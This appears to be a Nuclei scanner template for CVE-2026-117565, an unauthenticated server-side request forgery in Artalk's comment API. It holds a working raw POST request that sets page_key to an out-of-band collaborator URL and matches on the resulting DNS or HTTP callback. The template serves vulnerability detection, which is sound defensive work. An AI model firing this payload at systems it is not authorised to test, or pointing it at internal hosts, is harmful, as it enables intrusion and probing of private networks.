id: CVE-2026-117565

info:
  name: "Artalk - Unauthenticated Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    Artalk before 2.10.1 contains an unauthenticated server-side request forgery
    in its comment API. An anonymous POST /api/v2/comments whose page_key is a URL
    causes the server to fetch that URL via GetTitleByURL (internal/dao/service.go),
    which only validates the scheme before calling http.Get, so an attacker can make
    the server request arbitrary internal or external URLs. This template submits an
    anonymous comment whose page_key points at a unique out-of-band collaborator URL
    and confirms the vulnerability when the Artalk server performs the resulting
    DNS/HTTP request to that collaborator.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-117565&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=artalk&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-117565
    cwe-id: CWE-918
  metadata:
    verified: false
  tags: cve,cve2026,artalk,ssrf,oob,unauth
http:
  - raw:
      - |
        POST /api/v2/comments HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"vedas","email":"vedas@example.com","content":"vedas-ssrf-probe","page_key":"http://{{interactsh-url}}/","page_title":"vedas","site_name":"","link":""}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or